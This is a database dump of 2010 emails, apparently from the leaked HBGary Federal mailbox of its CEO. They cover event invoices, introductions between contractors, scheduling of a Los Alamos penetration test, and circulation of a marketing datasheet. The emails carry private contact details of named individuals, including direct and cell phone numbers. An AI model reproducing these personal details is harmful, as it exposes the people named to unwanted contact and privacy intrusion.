}\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAs part of your 4x24 membership, you can\r\nsend the printed version of GovConExec magazine to up to 10 people at no cost\r\n($400 value).&nbsp;The upcoming edition, entitled “The World\r\nis a Dangerous Place”,\r\nfeatures over 60 pages of news and info geared for executives in Government Contracting.\r\nThis month’s cover features Jack London.&nbsp;Please email your mailing addresses to Scott@executivebiz.com&nbsp;Best&nbsp;&nbsp;&nbsp;Jim&nbsp;Jim GarrettsonPresident&nbsp; &amp; FounderExecutiveBiz / Potomac\r\nOfficers Club(703) 752-7450Sign up for our Blog at www.executivebiz.com\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12340,'aaron_hbgary_com/12340.html'),(7408,'2010-06-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005420.M977905P14101Q2263.eml','\"Penny Leavy\" <penny@hbgary.com>','Fwd: Invoice from ExecutiveBiz','Invoice for Cyber Group.\r\n\r\n\r\nBegin forwarded message:\r\n\r\n> From: Sheri Page \r\n> Date: April 20, 2010 1:43:38 PM EDT\r\n> To: \r\n> Cc: Alyce Morrison \r\n> Subject: Invoice from ExecutiveBiz\r\n> \r\n> Aaron – attached is the invoice for your ExecutiveBiz 4 x 24.  Many thanks in advance for your help in getting this processed and thanks for your awesome support of ExecutiveBiz.\r\n>  \r\n> Best regards.\r\n>  \r\n> Sheri Page\r\n> The Potomac Officers Club and ExecutiveBiz\r\n> 8230 Old Courthouse Road, Suite 460\r\n> Vienna, VA  22182\r\n> Phone:  703-752-7449\r\n> Fax:  703-752-7454\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6890,'aaron_hbgary_com/6890.html'),(7409,'2010-06-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005421.M408916P14101Q2264.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Riley Hassell Intro','Greg,I can do some drinks after 8:30. &nbsp;I have an ExecutiveBiz dinner at the&nbsp;2941 Restaurant (2941 Fairview Park Drive, Falls Church, VA 22042) from 5:30-8:30.I could cut out a little bit early if its slow. &nbsp;Where were u planning on eating?AaronOn Jun 14, 2010, at 1:31 PM, Greg Hoglund wrote:Aaron,Can you hook up for dinner tomorrow night? &nbsp;I think you and Amini should get introduced.-GregSent from my iPadBegin forwarded message:From: \"Shaun S. Amini\" &lt;samini@C5i.com&gt;Date: June 14, 2010 9:08:30 AM PDTTo: Greg Hoglund &lt;greg@hbgary.com&gt;Subject: RE: Riley Hassell Intro\r\n\r\nHi Greg,&nbsp;There are several items I would like to chat about.&nbsp;1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPulling you guys into some opportunities we are chasing both in\r\nCivilian and DoD space specifically in the Incidence Response area.2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nUsing some of your tools as part of the set of tools we have in\r\nhouse.3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe are thinking about chasing some SBIRs and according to Riley you\r\nhave been down this path several times.4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe have some initiatives on the Offensive side of the house and\r\nwe might be able to work with you on the solutions we are working on.&nbsp;Wednesday sounds good, let me you what time works for you. Please\r\nremember I am on the East coast. &nbsp;&nbsp;&nbsp;Best Regards,Shaun AminiPresident &amp; CEOC5i Corporation703 480-4680 - Direct703 435-2600 - Main571 203-9300 - Faxs@c5i.comwww.c5i.com&nbsp;&lt;image001.jpg&gt;&nbsp;GS-35F-0496V &nbsp;This transmission may contain information that is privileged,\r\nconfidential, legally privileged, and/or exempt from disclosure under\r\napplicable law.&nbsp; If you are not the intended recipient, you are hereby\r\nnotified that any disclosure, copying, distribution, or use of the information\r\ncontained herein (including any reliance thereon) is STRICTLY PROHIBITED.&nbsp;\r\nAlthough this transmission and any attachments are believed to be free of any\r\nvirus or other defect that might affect any computer system into which it is\r\nreceived and opened, it is the responsibility of the recipient to ensure that\r\nit is virus free and no responsibility is accepted by C5i Corporation, its\r\nsubsidiaries and affiliates, as applicable, for any loss or damage arising in\r\nany way from its use.&nbsp; If you received this transmission in error, please\r\nimmediately contact the sender and destroy the material in its entirety,\r\nwhether in electronic or hard copy format.&nbsp; Thank you.&nbsp;&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Saturday, June 12, 2010 9:14 PM\r\nTo: Shaun S. Amini\r\nSubject: Re: Riley Hassell Intro\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSorry I have been hard to get ahold of. &nbsp;I will be on\r\nthe road all next week. &nbsp;What did you have in mind? &nbsp;Can you talk on\r\nWednesday?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\nOn Jun 11, 2010, at 1:35 PM, \"Shaun S. Amini\" &lt;samini@C5i.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nGreg,&nbsp;Your\r\ncontact info was given to me by a mutual friend, Riley.&nbsp; I tried calling\r\nyour cell number, but your voice mail was full.&nbsp; I would like to chat with\r\nyou about some opportunities we have coming up and discuss a few other items as\r\nwell.&nbsp;Best Regards,Shaun AminiPresident &amp; CEOC5i Corporation703 405-9280 - Cell703 480-4680 - Direct703 435-2600 - Main571 203-9300 - Faxs@c5i.comwww.c5i.com&nbsp;&lt;image001.jpg&gt;&nbsp;GS-35F-0496V &nbsp;This transmission may contain information\r\nthat is privileged, confidential, legally privileged, and/or exempt from\r\ndisclosure under applicable law.&nbsp; If you are not the intended recipient,\r\nyou are hereby notified that any disclosure, copying, distribution, or use of\r\nthe information contained herein (including any reliance thereon) is STRICTLY\r\nPROHIBITED.&nbsp; Although this transmission and any attachments are believed\r\nto be free of any virus or other defect that might affect any computer system\r\ninto which it is received and opened, it is the responsibility of the recipient\r\nto ensure that it is virus free and no responsibility is accepted by C5i\r\nCorporation, its subsidiaries and affiliates, as applicable, for any loss or\r\ndamage arising in any way from its use.&nbsp; If you received this transmission\r\nin error, please immediately contact the sender and destroy the material in its\r\nentirety, whether in electronic or hard copy format.&nbsp; Thank you.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7952,'aaron_hbgary_com/7952.html'),(7410,'2010-06-14','\"Ira Entis\" <Ira.Entis@agilex.com>','/aaron@hbgary.com/new/1297005424.M423753P14101Q2265.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Jerry McClure\" <Jerry.McClure@agilex.com>','Call w/ Los Alamos','\r\n',10238,'aaron_hbgary_com/10238.html'),(7411,'2010-06-14','\"Ira Entis\" <Ira.Entis@agilex.com>','/aaron@hbgary.com/new/1297005425.M772286P14101Q2266.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Jerry McClure\" <Jerry.McClure@agilex.com>','Fwd: my info','Guys -- does this new time work for you?- IraBegin forwarded message:From: \"Taylor, David A\" &lt;dataylor@lanl.gov&gt;Date: June 14, 2010 3:33:51 PM EDTTo: Ira Entis &lt;Ira.Entis@agilex.com&gt;Cc: \"Gore, James E\" &lt;jgore@lanl.gov&gt;, \"Martinez, Timmy L\" &lt;tlmtz@lanl.gov&gt;Subject: FW: my info\r\n\r\n\r\n\r\nToday’s meeting will have to be canceled.\r\n\r\nJim Gore is out of town.\r\n\r\nWe can have the meeting to discuss the rules of engagement at\r\n11:30 MDT Tues. 6/15/10.\r\n\r\nMy apologies for the late notice. I just found out.\r\n\r\n&nbsp;\r\n\r\nDavid Taylor\r\n\r\n505-667-6884\r\n\r\ndataylor@lanl.gov\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Taylor, David A \r\nSent: Thursday, June 10, 2010 8:31 AM\r\nTo: \'Ira Entis\'\r\nCc: \'Martinez, Timmy L\'; Bryant, Doris B; Bryant, Jeffery A; Gore, James\r\nE; Lamb, James B\r\nSubject: RE: my info\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nIra\r\n\r\n&nbsp;\r\n\r\nGood to talk this morning.\r\n\r\nI am glad you have everything you need to review the PR.\r\n\r\nBelow is a rough outline of key dates for your folks as we\r\nunderstand them.\r\n\r\n&nbsp;\r\n\r\nThe following are dates that we have that you should know.\r\n\r\nPR was to have been sent on 6/3.\r\n\r\nYou have this week to review.\r\n\r\nWe would need to make the award by 6/21 so that we could get\r\nstarted on the background check.\r\n\r\nWe expect that to take 3 weeks.\r\n\r\nJim Gore would be at training on 7/13 – 7/16.\r\n\r\nWe finish up hardening and testing 7/19 – 7/26\r\n\r\nWe would review testing with your folks &nbsp;on 7/28\r\n\r\nYour folks would be out here testing on the week of 8/9 – 8/13.\r\n\r\nWe are assuming that you would be able to do the unix and app\r\npenetration testing simultaneously for both iRecruit and iSupplier during the\r\nsame week.\r\n\r\nWe would review test results on 8/16.\r\n\r\nWe would then expect a written report on 8/30.\r\n\r\n&nbsp;\r\n\r\nIf you need anything or have any questions do not hesitate to\r\nlet me know.\r\n\r\nThanks.\r\n\r\n&nbsp;\r\n\r\nDavid Taylor\r\n\r\n505-667-6884\r\n\r\ndataylor@lanl.gov\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ira Entis\r\n[mailto:Ira.Entis@agilex.com] \r\nSent: Thursday, April 22, 2010 2:01 PM\r\nTo: Taylor, David A\r\nSubject: my info\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\nIra S. Entis\r\nPresident, Government Services Sector\r\n\r\nAgilex&nbsp;Technologies, Inc.\r\n5155 Parkstone Drive&nbsp;&nbsp;|&nbsp;&nbsp;Chantilly, VA\r\n20151&nbsp;&nbsp;|&nbsp;&nbsp;www.agilex.com\r\np:703.889.3900 &nbsp;| &nbsp; m: 703.969.3200\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15160,'aaron_hbgary_com/15160.html'),(7412,'2010-06-14','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297005426.M106946P14101Q2267.eml','aaron@hbgary.com','Alarm - Call w/ Los Alamos','June 14, 2010 4:00 PM : Call w/ Los Alamos \r\n',10114,'aaron_hbgary_com/10114.html'),(7413,'2010-06-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005427.M133677P14101Q2268.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: my info','Begin forwarded message:From: Ira Entis &lt;Ira.Entis@agilex.com&gt;Date: June 14, 2010 3:44:10 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;, Jerry McClure &lt;Jerry.McClure@agilex.com&gt;Subject: Fwd: my infoGuys -- does this new time work for you?- IraBegin forwarded message:From: \"Taylor, David A\" &lt;dataylor@lanl.gov&gt;Date: June 14, 2010 3:33:51 PM EDTTo: Ira Entis &lt;Ira.Entis@agilex.com&gt;Cc: \"Gore, James E\" &lt;jgore@lanl.gov&gt;, \"Martinez, Timmy L\" &lt;tlmtz@lanl.gov&gt;Subject: FW: my info\r\n\r\nToday’s meeting will have to be canceled.Jim Gore is out of town.We can have the meeting to discuss the rules of engagement at\r\n11:30 MDT Tues. 6/15/10.My apologies for the late notice. I just found out.&nbsp;David Taylor505-667-6884dataylor@lanl.gov&nbsp;\r\n\r\n\r\n\r\nFrom: Taylor, David A \r\nSent: Thursday, June 10, 2010 8:31 AM\r\nTo: \'Ira Entis\'\r\nCc: \'Martinez, Timmy L\'; Bryant, Doris B; Bryant, Jeffery A; Gore, James\r\nE; Lamb, James B\r\nSubject: RE: my info\r\n\r\n\r\n\r\n&nbsp;Ira&nbsp;Good to talk this morning.I am glad you have everything you need to review the PR.Below is a rough outline of key dates for your folks as we\r\nunderstand them.&nbsp;The following are dates that we have that you should know.PR was to have been sent on 6/3.You have this week to review.We would need to make the award by 6/21 so that we could get\r\nstarted on the background check.We expect that to take 3 weeks.Jim Gore would be at training on 7/13 – 7/16.We finish up hardening and testing 7/19 – 7/26We would review testing with your folks &nbsp;on 7/28Your folks would be out here testing on the week of 8/9 – 8/13.We are assuming that you would be able to do the unix and app\r\npenetration testing simultaneously for both iRecruit and iSupplier during the\r\nsame week.We would review test results on 8/16.We would then expect a written report on 8/30.&nbsp;If you need anything or have any questions do not hesitate to\r\nlet me know.Thanks.&nbsp;David Taylor505-667-6884dataylor@lanl.gov&nbsp;&nbsp;\r\n\r\n\r\n\r\nFrom: Ira Entis\r\n[mailto:Ira.Entis@agilex.com] \r\nSent: Thursday, April 22, 2010 2:01 PM\r\nTo: Taylor, David A\r\nSubject: my info\r\n\r\n\r\n\r\n&nbsp;&nbsp;\r\n\r\n\r\nIra S. Entis\r\nPresident, Government Services SectorAgilex&nbsp;Technologies, Inc.\r\n5155 Parkstone Drive&nbsp;&nbsp;|&nbsp;&nbsp;Chantilly, VA\r\n20151&nbsp;&nbsp;|&nbsp;&nbsp;www.agilex.com\r\np:703.889.3900 &nbsp;| &nbsp; m: 703.969.3200\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14963,'aaron_hbgary_com/14963.html'),(7414,'2010-06-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005427.M766551P14101Q2269.eml','\"Ira Entis\" <Ira.Entis@agilex.com>,\"Ira Entis\" <Ira.Entis@agilex.com>','Re: my info','I can\'t but I will check with Ted to see if he can support. &nbsp;I will be at the NSA conference.AaronOn Jun 14, 2010, at 3:44 PM, Ira Entis wrote:Guys -- does this new time work for you?- IraBegin forwarded message:From: \"Taylor, David A\" &lt;dataylor@lanl.gov&gt;Date: June 14, 2010 3:33:51 PM EDTTo: Ira Entis &lt;Ira.Entis@agilex.com&gt;Cc: \"Gore, James E\" &lt;jgore@lanl.gov&gt;, \"Martinez, Timmy L\" &lt;tlmtz@lanl.gov&gt;Subject: FW: my info\r\n\r\nToday’s meeting will have to be canceled.Jim Gore is out of town.We can have the meeting to discuss the rules of engagement at\r\n11:30 MDT Tues. 6/15/10.My apologies for the late notice. I just found out.&nbsp;David Taylor505-667-6884dataylor@lanl.gov&nbsp;\r\n\r\n\r\n\r\nFrom: Taylor, David A \r\nSent: Thursday, June 10, 2010 8:31 AM\r\nTo: \'Ira Entis\'\r\nCc: \'Martinez, Timmy L\'; Bryant, Doris B; Bryant, Jeffery A; Gore, James\r\nE; Lamb, James B\r\nSubject: RE: my info\r\n\r\n\r\n\r\n&nbsp;Ira&nbsp;Good to talk this morning.I am glad you have everything you need to review the PR.Below is a rough outline of key dates for your folks as we\r\nunderstand them.&nbsp;The following are dates that we have that you should know.PR was to have been sent on 6/3.You have this week to review.We would need to make the award by 6/21 so that we could get\r\nstarted on the background check.We expect that to take 3 weeks.Jim Gore would be at training on 7/13 – 7/16.We finish up hardening and testing 7/19 – 7/26We would review testing with your folks &nbsp;on 7/28Your folks would be out here testing on the week of 8/9 – 8/13.We are assuming that you would be able to do the unix and app\r\npenetration testing simultaneously for both iRecruit and iSupplier during the\r\nsame week.We would review test results on 8/16.We would then expect a written report on 8/30.&nbsp;If you need anything or have any questions do not hesitate to\r\nlet me know.Thanks.&nbsp;David Taylor505-667-6884dataylor@lanl.gov&nbsp;&nbsp;\r\n\r\n\r\n\r\nFrom: Ira Entis\r\n[mailto:Ira.Entis@agilex.com] \r\nSent: Thursday, April 22, 2010 2:01 PM\r\nTo: Taylor, David A\r\nSubject: my info\r\n\r\n\r\n\r\n&nbsp;&nbsp;\r\n\r\n\r\nIra S. Entis\r\nPresident, Government Services SectorAgilex&nbsp;Technologies, Inc.\r\n5155 Parkstone Drive&nbsp;&nbsp;|&nbsp;&nbsp;Chantilly, VA\r\n20151&nbsp;&nbsp;|&nbsp;&nbsp;www.agilex.com\r\np:703.889.3900 &nbsp;| &nbsp; m: 703.969.3200\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',836,'aaron_hbgary_com/836.html'),(7415,'2010-06-14','\"Jerry McClure\" <Jerry.McClure@agilex.com>','/aaron@hbgary.com/new/1297005427.M991982P14101Q2270.eml','\"Ira Entis\" <Ira.Entis@agilex.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: my info','\r\n\r\n\r\n\r\n\r\n\r\n\r\nWorks for me.\r\n&nbsp;\r\n\r\n\r\nFrom: Ira Entis\r\nSent: Monday, June 14, 2010 3:44 PM\r\nTo: Aaron Barr; Jerry McClure\r\nSubject: Fwd: my info\r\n\r\n\r\n\r\n\r\nGuys -- does this new time work for you?\r\n\r\n\r\n- Ira\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\nFrom: &quot;Taylor, David A&quot; &lt;dataylor@lanl.gov&gt;\r\nDate: June 14, 2010 3:33:51 PM EDT\r\nTo: Ira Entis &lt;Ira.Entis@agilex.com&gt;\r\nCc: &quot;Gore, James E&quot; &lt;jgore@lanl.gov&gt;, &quot;Martinez, Timmy L&quot; &lt;tlmtz@lanl.gov&gt;\r\nSubject: FW: my info\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nToday’s meeting will have to be canceled.\r\nJim Gore is out of town.\r\nWe can have the meeting to discuss the rules of engagement at 11:30 MDT Tues. 6/15/10.\r\nMy apologies for the late notice. I just found out.\r\n&nbsp;\r\nDavid Taylor\r\n505-667-6884\r\ndataylor@lanl.gov\r\n&nbsp;\r\n\r\n\r\nFrom: Taylor, David A\r\n\r\nSent: Thursday, June 10, 2010 8:31 AM\r\nTo: \'Ira Entis\'\r\nCc: \'Martinez, Timmy L\'; Bryant, Doris B; Bryant, Jeffery A; Gore, James E; Lamb, James B\r\nSubject: RE: my info\r\n\r\n\r\n&nbsp;\r\nIra\r\n&nbsp;\r\nGood to talk this morning.\r\nI am glad you have everything you need to review the PR.\r\nBelow is a rough outline of key dates for your folks as we understand them.\r\n&nbsp;\r\nThe following are dates that we have that you should know.\r\nPR was to have been sent on 6/3.\r\nYou have this week to review.\r\nWe would need to make the award by 6/21 so that we could get started on the background check.\r\nWe expect that to take 3 weeks.\r\nJim Gore would be at training on 7/13 – 7/16.\r\nWe finish up hardening and testing 7/19 – 7/26\r\nWe would review testing with your folks &nbsp;on 7/28\r\nYour folks would be out here testing on the week of 8/9 – 8/13.\r\nWe are assuming that you would be able to do the unix and app penetration testing simultaneously for both iRecruit and iSupplier during the same week.\r\nWe would review test results on 8/16.\r\nWe would then expect a written report on 8/30.\r\n&nbsp;\r\nIf you need anything or have any questions do not hesitate to let me know.\r\nThanks.\r\n&nbsp;\r\nDavid Taylor\r\n505-667-6884\r\ndataylor@lanl.gov\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\nFrom: Ira Entis [mailto:Ira.Entis@agilex.com]\r\n\r\nSent: Thursday, April 22, 2010 2:01 PM\r\nTo: Taylor, David A\r\nSubject: my info\r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\nIra S. Entis\r\nPresident, Government Services Sector\r\nAgilex&nbsp;Technologies,\r\n Inc.\r\n5155 Parkstone Drive&nbsp;&nbsp;|&nbsp;&nbsp;Chantilly, VA 20151&nbsp;&nbsp;|&nbsp;&nbsp;www.agilex.com\r\np:703.889.3900 &nbsp;| &nbsp; m: 703.969.3200\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13091,'aaron_hbgary_com/13091.html'),(7416,'2010-06-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005428.M217029P14101Q2271.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: my info','I can support. So this is 1:30 ET tomorrow?On Jun 14, 2010, at 3:50 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nBegin forwarded message:\r\nFrom: Ira Entis &lt;Ira.Entis@agilex.com&gt;\r\nDate: June 14, 2010 3:44:10 PM EDT\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;, Jerry McClure &lt;Jerry.McClure@agilex.com&gt;\r\nSubject: Fwd: my info\r\nGuys -- does this new time work for you?- IraBegin forwarded message:From: &quot;Taylor, David A&quot; &lt;dataylor@lanl.gov&gt;\r\nDate: June 14, 2010 3:33:51 PM EDTTo: Ira Entis &lt;Ira.Entis@agilex.com&gt;Cc: &quot;Gore, James E&quot; &lt;jgore@lanl.gov&gt;, &quot;Martinez, Timmy L&quot; &lt;tlmtz@lanl.gov&gt;\r\nSubject: FW: my info\r\n\r\nToday’s meeting will have to be canceled.Jim Gore is out of town.We can have the meeting to discuss the rules of engagement at\r\n11:30 MDT Tues. 6/15/10.My apologies for the late notice. I just found out. David Taylor505-667-6884dataylor@lanl.gov \r\n\r\n\r\n\r\nFrom: Taylor, David A \r\n\r\nSent: Thursday, June 10, 2010 8:31 AM\r\nTo: &#39;Ira Entis&#39;\r\nCc: &#39;Martinez, Timmy L&#39;; Bryant, Doris B; Bryant, Jeffery A; Gore, James\r\nE; Lamb, James B\r\nSubject: RE: my info\r\n\r\n\r\n\r\n Ira Good to talk this morning.I am glad you have everything you need to review the PR.Below is a rough outline of key dates for your folks as we\r\nunderstand them. The following are dates that we have that you should know.PR was to have been sent on 6/3.You have this week to review.We would need to make the award by 6/21 so that we could get\r\nstarted on the background check.We expect that to take 3 weeks.Jim Gore would be at training on 7/13 – 7/16.We finish up hardening and testing 7/19 – 7/26We would review testing with your folks  on 7/28Your folks would be out here testing on the week of 8/9 – 8/13.We are assuming that you would be able to do the unix and app\r\npenetration testing simultaneously for both iRecruit and iSupplier during the\r\nsame week.We would review test results on 8/16.We would then expect a written report on 8/30. If you need anything or have any questions do not hesitate to\r\nlet me know.Thanks. David Taylor505-667-6884dataylor@lanl.gov  \r\n\r\n\r\n\r\nFrom: Ira Entis\r\n[mailto:Ira.Entis@agilex.com] \r\nSent: Thursday, April 22, 2010 2:01 PM\r\nTo: Taylor, David A\r\nSubject: my info\r\n\r\n\r\n\r\n  \r\n\r\n\r\nIra S. Entis\r\nPresident, Government Services SectorAgilex Technologies, Inc.\r\n5155 Parkstone Drive  |  Chantilly, VA\r\n20151  |  www.agilex.com\r\np:703.889.3900  |   m: 703.969.3200\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',54,'aaron_hbgary_com/54.html'),(7417,'2010-06-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005428.M447957P14101Q2272.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Software and training','Worth a shot.  Begin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;Date: June 14, 2010 4:49:44 PM EDT\r\nTo: Tesch John &lt;jtesch@coloradotech.edu&gt;Subject: Software and trainingHi John,\r\nI have authorization to get your lab outfitted with our software andget you trained up on it. The DHS contract that provided free trainingfor leo&#39;s is over though, so I&#39;ll need to make other arrangements. Do\r\nyou have any budget available, we are a small business and can use allthe revenue we can get.Let me know what you think you can afford and I can write up a quote\r\nthat will meet your needs.Regards,Ted\r\n',5395,'aaron_hbgary_com/5395.html'),(7418,'2010-06-14','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297005428.M661592P14101Q2273.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: REBL Conference @ Tue Jun 15, 2010 (aaron@hbgary.com)',' more details &raquo;REBL ConferenceSpeaking at 1:30WhenTue Jun 15, 2010WhereJAPL 11100 Johns Hopkins Rd. Laurel, MD 20723-6099 (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizerInvitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',7302,'aaron_hbgary_com/7302.html'),(7419,'2010-06-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005428.M897015P14101Q2274.eml','Ira.Entis@agilex.com,Ira.Entis@agilex.com','Meeting request','Hi Ira, can you please send me an updated meeting request with the\r\ndial in instructions. My cell is 7192378623.\r\n\r\nRegards,\r\nTed\r\n',2113,'aaron_hbgary_com/2113.html'),(7420,'2010-06-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005435.M826525P14101Q2275.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Matt O\'Flynn\" <matt@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Final HBGary Federal Information Security Services Datasheet','\r\n\r\nThis is what we will be taking with us to the FIRST conference this week.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',11521,'aaron_hbgary_com/11521.html'),(7421,'2010-06-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005440.M470315P14101Q2276.eml','\"David Etue\" <david.etue@fidelissecurity.com>,\"Stacey Sweeney\" <stacey.sweeney@fidelissecurity.com>','Datasheet','\r\n',4696,'aaron_hbgary_com/4696.html'),(7422,'2010-06-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005444.M426189P14101Q2277.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','HBGary Federal Information Security Services Datasheet','Hey Matt,\r\n\r\nWe have the following datasheet we are marketing, starting with the FIRST conference in Miami this week.\r\n\r\n',3863,'aaron_hbgary_com/3863.html'),(7423,'2010-06-14','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297005445.M291959P14101Q2278.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: HBGary Federal Information Security Services Datasheet','Slick, I love it.\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com | 202-257-2270\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, June 14, 2010 4:51 PM\r\nTo: Matthew Steckman\r\nSubject: HBGary Federal Information Security Services Datasheet\r\n\r\nHey Matt,\r\n\r\nWe have the following datasheet we are marketing, starting with the FIRST\r\nconference in Miami this week.\r\n\r\n',4486,'aaron_hbgary_com/4486.html'),(7424,'2010-06-14','no-reply.ecommerce@fedex.com','/aaron@hbgary.com/new/1297005445.M636164P14101Q2279.eml','aaron@hbgary.com','FedEx Office Print Online order confirmation (GTN 1016186122343610)','## This is an automated response, please do not reply to this e-mail ##\r\n\r\nDear Aaron Barr,\r\n\r\nThank you for choosing FedEx Office. This e-mail confirms that we have received your order. Please retain this e-mail for your records.\r\n\r\nYou are welcome to follow up with the center if you have any questions.\r\n\r\nIf you need to cancel this order, please call FedEx Office customer relations at 1.800.GoFedEx (1.800.463.3339) as soon as possible. You can reference your order by Order Number 1016186122343610. Please note that most jobs go into production within 15 minutes of receipt. Orders cancelled after going into production may be subject to a charge.\r\n\r\nAll jobs produced for customers will be retained for 30 days after the order ready by date on the receipt at which time you will be charged for the completed job if you have not picked up the order. FedEx Office is not responsible for retaining any work not picked up by customer after such 30 day period and is entitled to collect and retain payment for all work performed on the customer\'s behalf.   \r\n\r\nORDER -- SUMMARY DETAILS\r\n\r\nOrder GTN number:  1016186122343610\r\n \r\nOrder Price\r\nSubtotal:      $106.50 \r\nShipping:         $ -- \r\nTax:             $5.33 \r\nTotal:         $111.83 \r\n\r\nPayment by:  Credit Card\r\n\r\nSee order details for each recipient below      \r\n\r\nORDER_DETAIL -- Part 1\r\n\r\nJob GTN number:  1013409034851115\r\n\r\nFedEx Office center producing order:\r\n  8365 LEESBURG PIKE\r\n  VIENNA, VA  22182\r\n  UNITED STATES \r\n  Phone: (703) 734-3204\r\n  E-mail: usa1821@fedex.com\r\n\r\nOrder Ready by Date:  Jun 14, 2010 at 08:00 PM EDT \r\nDocuments:\r\n    HBGFed_datasheet_final1.pdf (50)\r\n        HBGFed_datasheet_final1.pdf\r\n\r\nRecipient:  Barr, Aaron\r\n\r\nTo be picked up at FedEx Office center (see above)\r\n\r\nPrice:              $106.50 \r\nShipping Cost:         $ -- \r\nTax:                  $5.33 \r\n\r\n\r\n',177,'aaron_hbgary_com/177.html'),(7425,'2010-06-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005445.M856419P14101Q2280.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: NSA brief','I wonder what he means by biz need. I&#39;ll call him. Begin forwarded message:From: &quot;Chappell, Scott C Mr CIV USA SMDC ARSTRAT&quot; &lt;Scott.Chappell@smdc-cs.army.mil&gt;\r\nDate: June 14, 2010 5:16:30 PM EDTTo: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;Subject: RE: NSA 